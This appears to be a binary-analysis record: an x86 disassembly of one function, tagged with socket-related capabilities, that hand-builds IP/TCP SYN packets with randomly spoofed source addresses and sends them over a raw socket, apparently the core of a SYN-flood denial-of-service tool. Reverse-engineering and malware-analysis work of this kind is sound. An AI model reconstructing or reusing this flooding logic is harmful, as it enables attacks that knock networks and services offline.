Function at 0x401980
Capabilities:
Create raw socket
Create tcp socket
Create udp socket
Resolve function by parsing pe exports
Set socket configuration

Disassembly:
sub esp, 0x60
xor ecx, ecx
xor eax, eax
mov dword [esp + 0x39], ecx
mov edx, dword [esp + 0x64]
mov dword [esp + 0x3d], ecx
mov dword [esp + 0x4d], eax
mov dword [esp + 0x41], ecx
mov dword [esp + 0x51], eax
mov dword [esp + 0x45], ecx
mov dword [esp + 0x55], eax
mov word [esp + 0x49], cx
push esi
mov dword [esp + 0x5d], eax
push edi
mov byte [esp + 0x53], cl
mov word [esp + 0x65], ax
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov byte [esp + 0x54], 0
cmp ecx, 0x10
mov byte [esp + 0x67], al
mov byte [esp + 0x40], al
jb 0x4019e0
pop edi
or eax, 0xffffffff
pop esi
add esp, 0x60
ret
mov edi, edx
or ecx, 0xffffffff
xor eax, eax
push ebx
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea ebx, [esp + 0x44]
mov edx, ecx
mov esi, edi
mov edi, ebx
mov ax, word [esp + 0x74]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
push ebp
and ecx, 3
push 0x30
rep movsb byte es:[edi], byte [esi]
mov word [0x413e30], 2
mov word [0x413e32], ax
call dword [sym.imp.MSVCRT.dll_putchar]
mov edi, dword [sym.imp.WS2_32.dll_inet_addr]
add esp, 4
lea ecx, [esp + 0x48]
push ecx
call edi
mov ebx, dword [sym.imp.WS2_32.dll_htons]
mov dword [0x413e34], eax
mov al, 6
xor esi, esi
mov byte [esp + 0x20], 0x45
mov byte [esp + 0x21], 0
mov word [esp + 0x24], 1
mov word [esp + 0x26], 0x40
mov byte [esp + 0x28], 0x80
mov byte [esp + 0x29], al
mov dword [esp + 0x3c], esi
mov byte [esp + 0x40], 0x50
mov byte [esp + 0x41], 2
mov word [esp + 0x46], si
mov byte [esp + 0x1c], 0
mov byte [esp + 0x1d], al
mov ebp, 0x413e4c
jmp 0x401a8c
mov edi, dword [sym.imp.WS2_32.dll_inet_addr]
xor esi, esi
push 0xfa
call fcn.00401130
add esp, 4
push eax
push 0xfa
call fcn.00401130
add esp, 4
push eax
push 0xfa
call fcn.00401130
add esp, 4
push eax
push 0xfa
call fcn.00401130
add esp, 4
lea edx, [esp + 0x68]
push eax
push str._d._d._d._d
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
push 0x30
call dword [sym.imp.MSVCRT.dll_putchar]
add esp, 0x1c
push 0x28
call ebx
mov word [esp + 0x22], ax
lea eax, [esp + 0x5c]
push eax
mov word [esp + 0x2e], si
call edi
lea ecx, [esp + 0x48]
mov esi, eax
push ecx
mov dword [esp + 0x30], esi
call edi
mov edi, eax
push 0xea60
mov dword [esp + 0x34], edi
call fcn.00401130
add esp, 4
inc eax
push eax
call ebx
mov edx, dword [esp + 0x78]
mov word [esp + 0x34], ax
push edx
call ebx
push 0x35a4e900
mov word [esp + 0x3a], ax
call fcn.00401130
add esp, 4
inc eax
push eax
call dword [sym.imp.WS2_32.dll_htonl]
push 0x30
mov dword [esp + 0x3c], eax
call dword [sym.imp.MSVCRT.dll_putchar]
add esp, 4
push 0x200
call ebx
push 0x30
mov word [esp + 0x46], ax
call dword [sym.imp.MSVCRT.dll_putchar]
add esp, 4
mov word [esp + 0x44], 0
push 0x14
call ebx
mov word [esp + 0x1e], ax
mov ecx, dword [esp + 0x1c]
mov eax, ebp
push 0x20
push ebp
mov dword [eax], esi
lea esi, [esp + 0x3c]
mov dword [eax + 4], edi
lea edi, [ebp + 0xc]
mov dword [eax + 8], ecx
mov ecx, 5
rep movsd dword es:[edi], dword [esi]
call section..text
mov word [esp + 0x4c], ax
mov ecx, 5
lea esi, [esp + 0x28]
mov edi, ebp
push 0x28
rep movsd dword es:[edi], dword [esi]
lea edi, [ebp + 0x14]
mov ecx, 5
lea esi, [esp + 0x40]
push 0x413e4c
rep movsd dword es:[edi], dword [esi]
mov dword [ebp + 0x28], 0
call section..text
mov ecx, 5
lea esi, [esp + 0x30]
mov edi, ebp
mov word [esp + 0x3a], ax
rep movsd dword es:[edi], dword [esi]
lea edi, [ebp + 0x14]
add ebp, 0x3c
add esp, 0x10
mov ecx, 5
lea esi, [esp + 0x34]
cmp ebp, 0x422e4c
rep movsd dword es:[edi], dword [esi]
jl 0x401a84
mov esi, dword [sym.imp.MSVCRT.dll_putchar]
push 0x30
call esi
add esp, 4
push 1
push 0
push 0
push 0xff
push 3
push 2
call dword [sym.imp.WS2_32.dll_WSASocketA]
push 0x30
mov dword [0x413e28], eax
call esi
mov eax, dword [0x413e28]
add esp, 4
cmp eax, 0xffffffff
pop ebp
pop ebx
jne 0x401c3f
pop edi
xor eax, eax
pop esi
add esp, 0x60
ret
mov esi, dword [sym.imp.WS2_32.dll_setsockopt]
lea edx, [esp + 0x6c]
push 4
push edx
push 2
push 0
push eax
mov dword [esp + 0x80], 1
call esi
cmp eax, 0xffffffff
jne 0x401c6b
pop edi
xor eax, eax
pop esi
add esp, 0x60
ret
mov ecx, dword [0x413e28]
lea eax, [esp + 8]
push 4
push eax
push 0x1005
push 0xffff
push ecx
mov dword [esp + 0x1c], 0x3e8
call esi
xor edx, edx
cmp eax, 0xffffffff
setne dl
pop edi
mov eax, edx
pop esi
add esp, 0x60
ret